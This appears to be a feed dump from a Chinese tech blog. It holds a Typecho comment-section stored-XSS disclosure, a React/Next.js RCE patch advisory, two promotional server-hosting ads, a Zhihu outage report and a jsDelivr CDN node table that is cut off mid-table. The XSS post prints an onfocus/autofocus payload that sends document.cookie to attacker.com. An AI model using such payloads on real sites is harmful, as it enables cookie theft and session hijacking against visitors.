小枫网络https://www.xfabe.com/一个专注原创技术资源免费的分享平台- Typecho 1.21 评论区 XSS 漏洞发现与安全提醒https://www.xfabe.com/post/110.html<h1>【漏洞预警】Typecho评论区存在高危存储型XSS漏洞</h1><p>近期在对Typecho开源博客程序进行定向安全测试时,发现其评论区存在一处高危存储型XSS漏洞,攻击者可利用该漏洞注入恶意脚本,对站点及访客造成安全威胁。现将漏洞细节、影响范围及修复建议整理分享,旨在协助官方完善防护、提醒站长规避风险。</p><h2>一、漏洞核心信息</h2><ul class=" list-paddingleft-2"><li><p>漏洞类型:存储型跨站脚本攻击(XSS)</p></li><li><p>影响范围:Typecho 1.2.1稳定版(实测版本)及未修复该问题的旧版本、衍生版本</p></li><li><p>触发模块:Typecho默认评论系统(内容提交与前端渲染模块)</p></li><li><p>漏洞评级:高危(可批量利用,影响面广,无复杂利用条件)</p></li><li><p>核心成因:评论区对用户输入的HTML链接内容缺乏严格的安全校验与转义处理,允许恶意构造的事件属性代码被存储并执行</p></li></ul><h2>二、漏洞发现与验证过程</h2><p>本次测试基于“开源程序安全合规测试”原则,在本地搭建了孤立的Typecho测试环境(未接入公网,未关联任何真实数据),针对评论区、留言板等用户输入场景进行定向检测:</p><ol class=" list-paddingleft-2"><li><p>测试思路:聚焦开源程序常见的输入验证缺陷,重点测试HTML标签、特殊属性的过滤机制;</p></li><li><p>构造测试 payload:设计包含<code>onfocus</code>「autofocus」等事件属性的链接构造代码</p></li><li><p><br/></p></li><li><p>验证过程:在测试环境评论区提交该 payload 后,系统成功存储并在前端渲染时未做任何过滤/转义,浏览评论页面即触发自动跳转,证实漏洞存在;</p></li><li><p>补充测试:更换不同浏览器(Chrome、Firefox、Edge)及Typecho旧版本(1.1、1.2.0),均能成功触发漏洞,说明该问题并非特定版本或环境的偶发缺陷。</p></li></ol><h2>三、漏洞利用场景与危害</h2><h3>1. 对普通访客的危害</h3><ul class=" list-paddingleft-2"><li><p>强制跳转:浏览包含恶意评论的页面时,被自动导向钓鱼网站、恶意软件下载站点;</p></li><li><p>信息窃取:攻击者可修改 payload 为<code>" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus=""></code>,窃取访客浏览器Cookie、登录凭证等敏感信息;</p></li><li><p>会话劫持:利用窃取的Cookie登录访客账号(若站点未启用HTTPS或Cookie未设置Secure/HttpOnly属性);</p></li><li><p>页面篡改:注入脚本篡改页面展示内容,传播非法信息或诱导访客操作。</p></li></ul><h3>2. 对站点所有者的危害</h3><ul class=" list-paddingleft-2"><li><p>公信力受损:访客遭遇安全问题后,将对站点安全性产生质疑,导致用户流失;</p></li><li><p>法律风险:若恶意脚本被用于传播违法内容、实施诈骗,站点管理者可能需承担相应连带责任;</p></li><li><p>服务器风险:大规模恶意评论可能引发前端渲染异常,增加服务器负载,甚至导致站点暂时不可用。</p></li></ul><h2>四、应急修复方案</h2><h3>1. 快速配置防护</h3><ul class=" list-paddingleft-2"><li><p>启用HTML过滤:登录Typecho后台,进入「设置-评论」,勾选“禁止评论中使用HTML标签”,直接阻断HTML类 payload 提交;</p></li><li><p>关闭匿名评论:仅允许已注册登录用户发表评论,降低恶意提交的概率;</p></li><li><p>安装安全插件:启用Typecho第三方安全插件(如「SafeGuard」「CommentFilter」),增强输入内容的安全校验。</p></li></ul><h3>2. 代码层面修复</h3><p>修改Typecho评论处理核心文件(路径:<code>var/Widget/Comments/Post.php</code>),在评论内容提交逻辑中增加危险属性过滤:</p><pre>// 新增过滤规则:移除on*、autofocus等危险属性
$commentContent = preg_replace('/\s+(on\w+|autofocus|javascript:|vbscript:)[\s=]+/i', ' ', $commentContent);
// 对特殊字符进行转义处理
$commentContent = htmlspecialchars($commentContent, ENT_QUOTES | ENT_HTML5);</pre><h2>五、行业倡议</h2><ol class=" list-paddingleft-2"><li><p>漏洞反馈进展:已通过<a href="https://www.cnvd.org.cn/" target="_blank"><span style="font-family: monospace; font-size: medium; white-space: pre-wrap;">国家信息安全漏洞共享平台</span></a>提交漏洞详情,目前处于等待官方响应阶段,将持续配合后续修复验证工作;</p></li><li><p>行业安全倡议:呼吁所有漏洞发现者遵循“负责任披露”原则,发现漏洞后优先向官方反馈,给予合理修复周期,不随意公开未修复漏洞的完整利用方法;同时提醒开源项目团队重视安全测试,建立完善的漏洞响应机制,共同维护开源生态的安全稳定。</p></li><li><p><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/12/202512101765333702839366.png"/><br/></p></li></ol>Wed, 10 Dec 2025 10:28:33 +0800
- 紧急预警!React Server Components 及 Next.js 高危远程代码执行漏洞(CVE-2025-55182/CVE-2025-66478)https://www.xfabe.com/post/109.html<h1>紧急预警!React Server Components 及 Next.js 高危远程代码执行漏洞(CVE-2025-55182/CVE-2025-66478)修复指南</h1><p>近期 React Server Components(RSC)核心架构及使用 App Router 的 Next.js 应用被集中披露<strong>高危远程代码执行漏洞(RCE)</strong>,漏洞编号分别为 CVE-2025-55182 与 CVE-2025-66478。未经身份验证的攻击者可通过特制 HTTP 请求触发漏洞,实现服务器端任意代码执行,进而完全控制目标服务器,对业务数据安全与服务可用性造成致命威胁。目前漏洞细节及 POC 已公开,攻击门槛极低,<strong>React、Next.js 开发者</strong>需立即开展自查与修复工作。本文将详细拆解漏洞原理、影响范围,并提供分场景的一站式<strong>漏洞修复</strong>方案,助力快速规避风险。</p><div class="keywords"><strong>关键词:</strong>CVE-2025-55182、CVE-2025-66478、React Server Components(RSC)、Next.js、远程代码执行漏洞(RCE)、高危漏洞、React 漏洞修复、Next.js 版本升级、前端安全、服务器安全、App Router、npm 依赖升级、安全补丁</div><h2>一、漏洞核心原理剖析</h2><p>React Server Components(RSC)是 React 核心团队推出的新型架构,旨在通过混合渲染模式提升应用性能,广泛应用于各类中大型前端项目。此次 <strong>CVE-2025-55182 漏洞</strong>的根源在于 React 框架对服务器函数端点接收的请求负载进行解码与反序列化处理时,存在关键安全缺陷——攻击者可构造恶意请求数据,利用该缺陷绕过解析校验,在服务器端执行任意代码。</p><p>而关联漏洞 <strong>CVE-2025-66478</strong> 则专门影响使用 App Router 的 Next.js 应用,其本质是 Next.js 对 React Server Components 相关依赖的集成存在安全适配问题,导致同样面临远程代码执行风险。两个漏洞均无需攻击者获取身份验证权限,攻击路径直接且危害极大,一旦被利用可能导致业务数据泄露、服务瘫痪甚至服务器被劫持。</p><h2>二、漏洞影响范围明细</h2><h3>(一)React 及相关依赖受影响版本</h3><table><thead><tr class="firstRow"><th>依赖名称</th><th>受影响版本范围</th></tr></thead><tbody><tr><td>React</td><td>19.0、19.1.0~19.1.1、19.2.0</td></tr><tr><td>React DOM</td><td>19.0、19.1.0~19.1.1、19.2.0</td></tr><tr><td>react-server-dom-parcel(npm)</td><td>19.0、19.1.0~19.1.1、19.2.0</td></tr><tr><td>react-server-dom-turbopack(npm)</td><td>19.0、19.1.0~19.1.1、19.2.0</td></tr><tr><td>react-server-dom-webpack(npm)</td><td>19.0、19.1.0~19.1.1、19.2.0</td></tr></tbody></table><h3>(二)Next.js 受影响版本</h3><ul class=" list-paddingleft-2"><li><p>14.3.0-canary.77 ≤ Next.js < 15.0.5</p></li><li><p>15.1.0 ≤ Next.js < 15.1.9</p></li><li><p>15.2.0 ≤ Next.js < 15.2.6</p></li><li><p>15.3.0 ≤ Next.js < 15.3.6</p></li><li><p>15.4.0 ≤ Next.js < 15.4.8</p></li><li><p>15.5.0 ≤ Next.js < 15.5.7</p></li><li><p>16.0.0 ≤ Next.js < 16.0.7</p></li></ul><div class="img-placeholder">图1:漏洞影响框架及版本分布示意图<br/>
(建议替换为:包含React、Next.js核心版本分支,用红色标注受影响版本,绿色标注安全版本,突出“RCE漏洞”“安全补丁”核心标识的图片)</div><h2>三、安全版本清单(优先升级目标)</h2><p>为彻底修复漏洞,官方已发布针对性<strong>安全补丁</strong>,各依赖的安全升级目标如下:</p><ul class=" list-paddingleft-2"><li><p>React:≥19.0.1、≥19.1.2、≥19.2.1</p></li><li><p>React DOM:≥19.0.1、≥19.1.2、≥19.2.1</p></li><li><p>react-server-dom-parcel(npm):≥19.0.1、≥19.1.2、≥19.2.1</p></li><li><p>react-server-dom-turbopack(npm):≥19.0.1、≥19.1.2、≥19.2.1</p></li><li><p>react-server-dom-webpack(npm):≥19.0.1、≥19.1.2、≥19.2.1</p></li><li><p>Next.js:≥15.0.5、≥15.1.9、≥15.2.6、≥15.3.6、≥15.4.8、≥15.5.7、≥16.0.7</p></li></ul><h2>四、分场景修复操作指南</h2><h3>(一)Next.js 用户(最核心受影响群体)</h3><p>1. 稳定版用户:根据当前使用的版本系列,通过 <strong>npm 依赖升级</strong> 命令直接升级至对应安全版本:</p><pre># 15.0.x 系列
npm install [email protected]
# 15.1.x 系列
npm install [email protected]
# 15.2.x 系列
npm install [email protected]
# 15.3.x 系列
npm install [email protected]
# 15.4.x 系列
npm install [email protected]
# 15.5.x 系列
npm install [email protected]
# 16.0.x 系列
npm install [email protected]</pre><p>2. Canary 版用户:若使用 14.3.0-canary.77 及以上测试版本,需降级至 14.x 稳定版:</p><pre>npm install next@14</pre><p>3. 验证方式:升级后可通过 <code>npm list next</code> 命令查看当前版本是否符合安全要求。</p><div class="img-placeholder">图2:Next.js 版本升级命令对照表<br/>
(建议替换为:表格形式呈现版本系列、npm升级命令、验证方式,标注“前端安全”核心提示的图片)</div><h3>(二)React 生态其他用户</h3><p>1. React Router 用户(使用不稳定 RSC API):</p><pre>npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest</pre><p>2. Expo 用户:</p><pre>npm install react@latest react-dom@latest react-server-dom-webpack@latest</pre><p>3. Redwood SDK 用户:</p><pre>npm install rwsdk@latest
npm install react@latest react-dom@latest react-server-dom-webpack@latest</pre><p>详细迁移指南可参考 Redwood 官方文档:<a href="https://docs.rwsdk.com/migrating/" target="_blank">https://docs.rwsdk.com/migrating/</a></p><p>4. Waku 用户:</p><pre>npm install react@latest react-dom@latest react-server-dom-webpack@latest</pre><p>5. 独立使用 RSC 插件用户:</p><pre># @vitejs/plugin-rsc 用户
npm install @vitejs/plugin-rsc@latest
# react-server-dom-parcel 用户
npm install react@latest react-dom@latest react-server-dom-parcel@latest
# react-server-dom-turbopack 用户
npm install react@latest react-dom@latest react-server-dom-turbopack@latest</pre><h3>(三)通用注意事项</h3><ol class=" list-paddingleft-2"><li><p>升级前必须做好数据备份:包括项目代码、配置文件、数据库数据等,避免 <strong>npm 依赖升级</strong> 过程中出现依赖冲突导致业务异常。</p></li><li><p>升级后需进行功能回归测试:重点验证服务器函数、渲染逻辑等核心模块是否正常工作,确保 <strong>漏洞修复</strong> 不影响业务可用性。</p></li><li><p>若暂时无法升级:可临时通过 Web 应用防火墙拦截恶意请求(参考下文腾讯云安全解决方案),但仅为过渡方案,最终需完成版本升级。</p></li></ol><div class="img-placeholder">图3:漏洞修复全流程示意图<br/>
(建议替换为:流程图形式呈现“自查版本→备份数据→npm依赖升级→验证版本→功能测试→漏洞闭环”步骤,突出“前端安全”“服务器安全”核心目标的图片)</div><h2>五、腾讯云安全防护支持</h2><p>为进一步降低漏洞攻击风险,腾讯云已推出全方位安全防护方案,覆盖从检测到防护的全链路:</p><ol class=" list-paddingleft-2"><li><p>腾讯T-Sec 容器安全:支持容器环境中该漏洞的快速检测,精准识别受影响实例;</p></li><li><p>腾讯T-Sec 主机安全:实时监测服务器是否存在漏洞暴露风险,提供一键修复建议;</p></li><li><p>腾讯T-Sec Web应用防火墙:拦截针对漏洞的恶意HTTP请求,阻断攻击路径;</p></li><li><p>腾讯T-Sec 云防火墙:从网络层防护,限制非法访问,降低漏洞利用概率;</p></li><li><p>腾讯暴露面管理服务(CTEM):全面扫描业务暴露面,提前发现未修复的漏洞节点。</p></li></ol><h2>六、漏洞参考与延伸阅读</h2><ul class=" list-paddingleft-2"><li><p>React 官方漏洞通告:<a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components" target="_blank">https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components</a></p></li><li><p>React GitHub 安全 advisory:<a href="https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r" target="_blank">https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r</a></p></li><li><p>Next.js 官方漏洞通告:<a href="https://nextjs.org/blog/CVE-2025-66478" target="_blank">https://nextjs.org/blog/CVE-2025-66478</a></p></li><li><p>Next.js GitHub 安全 advisory:<a href="https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp" target="_blank">https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp</a></p></li></ul><h2>总结</h2><p>此次 <strong>React Server Components(RSC)</strong> 及 <strong>Next.js</strong> 高危漏洞危害等级高、影响范围广,且 POC 已公开,攻击者极可能发起批量攻击。建议相关开发者在 24 小时内完成版本自查,按照本文分场景 <strong>漏洞修复</strong> 指南完成 <strong>npm 依赖升级</strong>,并结合腾讯云安全产品构建“版本修复+安全防护”双重保障。漏洞修复的核心是升级至官方指定安全版本,切勿依赖临时规避方案。若在修复过程中遇到依赖冲突、功能异常等问题,可参考官方文档或联系技术支持获取帮助,确保业务 <strong>前端安全</strong> 与 <strong>服务器安全</strong> 稳定运行。</p>Mon, 08 Dec 2025 14:19:12 +0800
- 🔥【站长自用推荐!嘉惟云服务器——性能怪兽+安全堡垒】🔥https://www.xfabe.com/post/108.html<h2><span style="text-wrap-mode: nowrap;">兄弟们!这次必须按头安利站长都在用的嘉惟云服务器!咱不玩虚的,直接上硬货!</span></h2><p><span style="text-wrap-mode: nowrap; font-size: 16px;">站长自己搭网站、跑程序全用这货!为啥?因为资源隔离+独立IP直接拉满安全感!每个VPS独立操作系统、CPU、内存、存储全部分开,隔壁老王爆流量都不带卡你的!站长实测:24小时稳定运行无宕机,连高峰时段延迟都稳如老狗,打游戏/做外贸/搞直播全hold住!</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761642565361510.png" style="width: 100%;" title="嘉惟云服务器.png" alt="嘉惟云服务器.png"/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">性能怪兽!速度直接起飞</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">搭载Intel/AMD高端CPU+NVMe SSD,秒级响应不吹牛!香港/美国/新加坡BGP多线接入,全球访问低延迟,尤其适合外贸、跨境电商、游戏代理!台湾VPS用户反馈:Hinet直连线路,电信/联通/移动三网稳定,日常网页加载、视频流播放流畅到飞起!</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">安全防护!黑客看了直摇头</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">DDoS攻击?宁波高防机器直接防到怀疑人生!数据加密+私有网络隔离,连政府数字化项目都在用!ISO 27001信息安全认证+ISO 9001质量管理体系双认证,数据安全合规性直接拉满!站长亲测:SSL证书部署秒通过,再不怕支付平台数据泄露!</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">价格真香!灵活到哭~~~</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761642899330520.png"/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">价格直接打骨折!<strong>基础套餐月付低至<span style="text-wrap-mode: nowrap; font-size: 16px; color: #FF0000;">15R/月</span>呢</strong>,配置从1核2G到8核32G随便挑,按需付费不心疼!关键是不限流量套餐随便用,两三个人同时在线都不带怕的!站长血泪经验:选年付套餐还能折上折,比某宝还便宜!</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761642813630230.png" style="width: 100%;" title="香港服务器.png" alt="香港服务器.png"/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">💬 真实用户评价</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">“用了三年没掉过链!”—— 站长</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">“台湾VPS延迟比我家宽带还稳!”——游戏党</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">“客服24小时在线,故障秒解决!”——外贸老板</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><br/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">现在冲还有新人首单优惠!官网戳👉 </span><a href="https://www.vpsf.net" target="_blank" style="text-wrap-mode: nowrap; font-size: 16px; text-decoration: underline;"><span style="text-wrap-mode: nowrap; font-size: 16px;">www.vpsf.net</span></a></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">注册,输入优惠码【<strong>vpsfnet</strong>】享85折优惠!站长都在用的服务器,你还在等啥?</span></p><p><br/></p>Tue, 28 Oct 2025 17:00:50 +0800
- 🔥【HKGserver服务器】冲就完事了!兄弟们看过来!🔥https://www.xfabe.com/post/107.html<h2><span style="text-wrap-mode: nowrap;">咱就是说,HKGserver家的服务器它不香吗?!嘎嘎的优质云服务</span></h2><p><span style="text-wrap-mode: nowrap;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761639366760700.png" title="优质云服务器" alt="优质云服务器" width="100%"/></span></p><p style="text-indent: 2em;"><span style="text-wrap-mode: nowrap; font-size: 16px;">CPU、内存、存储随便挑,要多大有多大!Intel/AMD高端处理器+NVMe SSD,速度直接起飞,游戏直播、跨境电商、开发测试全hold住!</span><span style="font-size: 16px; text-wrap-mode: nowrap;">全球节点遍地开花,香港、美国、新加坡BGP多线接入,延迟低到离谱!尤其适合咱搞外贸的兄弟和全球玩家,国际访问快到飞起!</span><span style="font-size: 16px; text-wrap-mode: nowrap;">安全防护更是顶呱呱👮!DDoS攻击?不存在的!数据加密+私有网络隔离,黑客看了直摇头🙅。政府数字化认证也拿捏了,数据安全稳如老狗!</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><br/></span></p><p style="text-indent: 2em;"><span style="text-wrap-mode: nowrap; font-size: 16px;">重点来了啊!这波资质不是虚的——<span style="text-wrap-mode: nowrap; font-size: 16px; color: #F79646;"><strong>政府认证、国际标准、数据中心认证三连</strong></span>!比那些连资质都不敢晒的小作坊强百倍!韩国首尔LG机房yyds!🇰🇷原生IP解锁流媒体,CN2线路直接二折!优惠码“<strong>HKG202509</strong></span><span style="font-size: 16px; text-wrap-mode: nowrap;">”赶紧记小本本上,循环五折这波血赚!💸</span></p><p style="text-indent: 0em;"><span style="font-size: 16px; text-wrap-mode: nowrap;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761640262205817.png" title="资质" alt="资质" width="100%"/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><img class="ue-image" src="https://www.xfabe.com/zb_users/upload/2025/10/202510281761640038676896.png" title="韩国, 香港服务器" alt="韩国, 香港服务器" width="100%"/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">技术哥<strong>24小时待命</strong>,故障秒解决!🕒计费还灵活,小时付、月付随便选,按需花钱不心疼~</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">现在不冲更待何时?!👊官网戳: </span><a href="https://www.hkgserver.com" width="100%" target="_blank" title="优质云服务器" style="text-wrap-mode: nowrap; font-size: 16px; text-decoration: underline;"><span style="text-wrap-mode: nowrap; font-size: 16px;">www.hkgserver.com</span></a><span style="text-wrap-mode: nowrap; font-size: 16px;">,一键开启全球部署新世界!这波操作绝对不亏,兄弟萌我先冲为敬!🏃♂️💨</span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;"><br/></span></p><p><span style="text-wrap-mode: nowrap; font-size: 16px;">PS:商务合作直接戳QQ 80003994,退款政策也良心,24小时内全额退,稳!</span></p><p><br/></p>Tue, 28 Oct 2025 16:19:16 +0800
- 知乎服务器崩了, 网页打不开了https://www.xfabe.com/post/106.html<h2><span style="white-space: pre-wrap;">【知乎突发服务故障引关注:PC端瘫痪、移动端受限,用户反馈集中爆发】</span></h2><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;">2025年10月17日上午,国内知名知识分享平台知乎遭遇服务故障事件,引发用户广泛关注。据多名用户反馈及IT之家等多方消息源证实,此次故障呈现明显平台差异:PC端网页完全无法加载,移动端App虽能进入首页但无法正常查看问答详情页面,形成“半瘫痪”状态。</span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;"><br/></span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;">大量用户通过社交媒体反映问题。PC端用户尝试访问知乎官网时,页面持续显示加载失败或空白,部分用户收到“服务不可用”提示;移动端用户则遭遇“首页可浏览但点击具体问答即卡顿”的异常体验,评论区、收藏夹等核心功能均受影响。值得注意的是,此次故障未出现区域性差异,全国多地用户均报告类似问题,显示故障范围较广。</span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;"><br/></span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;">作为日均活跃用户超千万的综合性内容社区,知乎的突发故障迅速引发连锁反应。微博、贴吧等平台相关话题迅速升温,用户纷纷晒出故障截图并调侃“知识分享被迫中断”。有教育类用户表示,正值考研、公考备考高峰期,问答功能失效直接影响学习效率;部分创作者则担忧内容更新与互动数据受损。截至发稿时,知乎官方尚未发布正式声明,仅在App内推送“部分功能临时维护”的简短通知,未透露具体故障原因及修复时间表。</span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;"><br/></span></p><p dir="ltr" style="text-indent: 2em;"><span style="white-space: pre-wrap; font-size: 16px;">此次事件再次凸显互联网平台服务稳定性的重要性。对于依赖知识获取与内容创作的用户而言,平台的技术可靠性直接关系到信息获取效率与创作收益。知乎作为知识社区标杆,其故障处理速度与透明度将成为用户信任修复的关键。后续需关注官方修复进展及是否推出补偿措施,同时为同类平台提供应急处理参考样本。</span></p><p><span style="white-space: pre-wrap;"><img class="ue-image" src="https://cdn.xfabe.com/xfwl/zhihudangji.png" title="知乎服务器故障" alt="知乎服务器故障" style="width: 100%;"/></span></p>Fri, 17 Oct 2025 09:57:07 +0800
- jsdelivr npm 国内加速CDN节点https://www.xfabe.com/post/105.html<h2><span style="font-size: 24px;">jsdelivr npm 国内加速CDN节点</span></h2><p><img class="ue-image" style="width: 35%; border-radius: 5px;" src="https://cdn.xfabe.com/xfwl/WX20250224-175707%402x.png"/></p><h3><span style="font-size: 20px;">JSDelivr 介绍</span></h3><p><span style="font-size: 16px;">JSDelivr 是由 @Cloudflare 提供的免费开源公共 CDN是<span style="color: #212529; font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; text-wrap-mode: wrap; background-color: #FFFFFF;">用最为广泛的CDN了</span>。</span></p><p><span style="font-size: 16px;">官方提供的节点是:</span><a href="https://www.jsdelivr.com" target="_blank" style="font-size: 16px; text-decoration: underline;"><span style="font-size: 16px;">cdn.jsdelivr.net</span></a></p><p><span style="font-size: 16px;">该节点国内几乎不可用,需要使用可用性高的节点作为替代。</span></p><h6><span style="font-size: 16px;">jsDelivr/<span style="text-wrap-mode: wrap; font-size: 16px;">npm</span>节点</span></h6><p><span style="font-size: 14px; color: #A5A5A5;">下面节点用于加速 GitHub/npm 项目,可通过更改节点改善项目在国内的可用性。</span></p><p><br/></p><table interlaced="enabled" align="center"><tbody><tr class="ue-table-interlace-color-single firstRow"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>节点<br/></strong></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>来源</strong></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;"><strong>国内访问速度</strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><strong>优点</strong></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><strong>缺点</strong></span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">gcore.jsdelivr.net</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">Gcore</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="font-size: 16px;">⭐️<span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️<span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️</span></span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">可用性高<span style="color: #00B050; font-size: 16px;"><strong>【推荐】</strong></span><br/></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内</span>速度一般</span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">testingcf.jsdelivr.net</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">Cloudflare</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">可用性高<span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; color: #00B050; font-size: 16px;"><strong>【推荐】</strong></span></span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内速度一般</span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">quantil.jsdelivr.net<br/></span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">Quantil</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">国内访问速度快</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">国内部分线路不太稳定</span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">fastly.jsdelivr.net</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">Fastly</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内访问速度快</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内部分线路不太稳定</span></td></tr><tr class="ue-table-interlace-color-double"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">originfastly.jsdelivr.net</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">Fastly</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️⭐️⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内访问速度快</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">国内部分线路不太稳定</span></td></tr><tr class="ue-table-interlace-color-single"><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">cdn.jsdelivr.net</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-wrap-mode: wrap; font-size: 16px;">官方</span></td><td width="188" valign="middle" align="center" style="word-break: break-all;"><span style="text-align: -webkit-center; text-wrap-mode: wrap; background-color: #F7FAFF; font-size: 16px;">⭐️⭐️</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">官方平台</span></td><td valign="middle" align="center" colspan="1" rowspan="1" width="188" style="word-break: break-all;"><span style="font-size: 16px;">不稳定, 国内偶尔打不开</span></td></tr><tr class="ue-table-interlace-color-double"><td valign="middle" align="center" 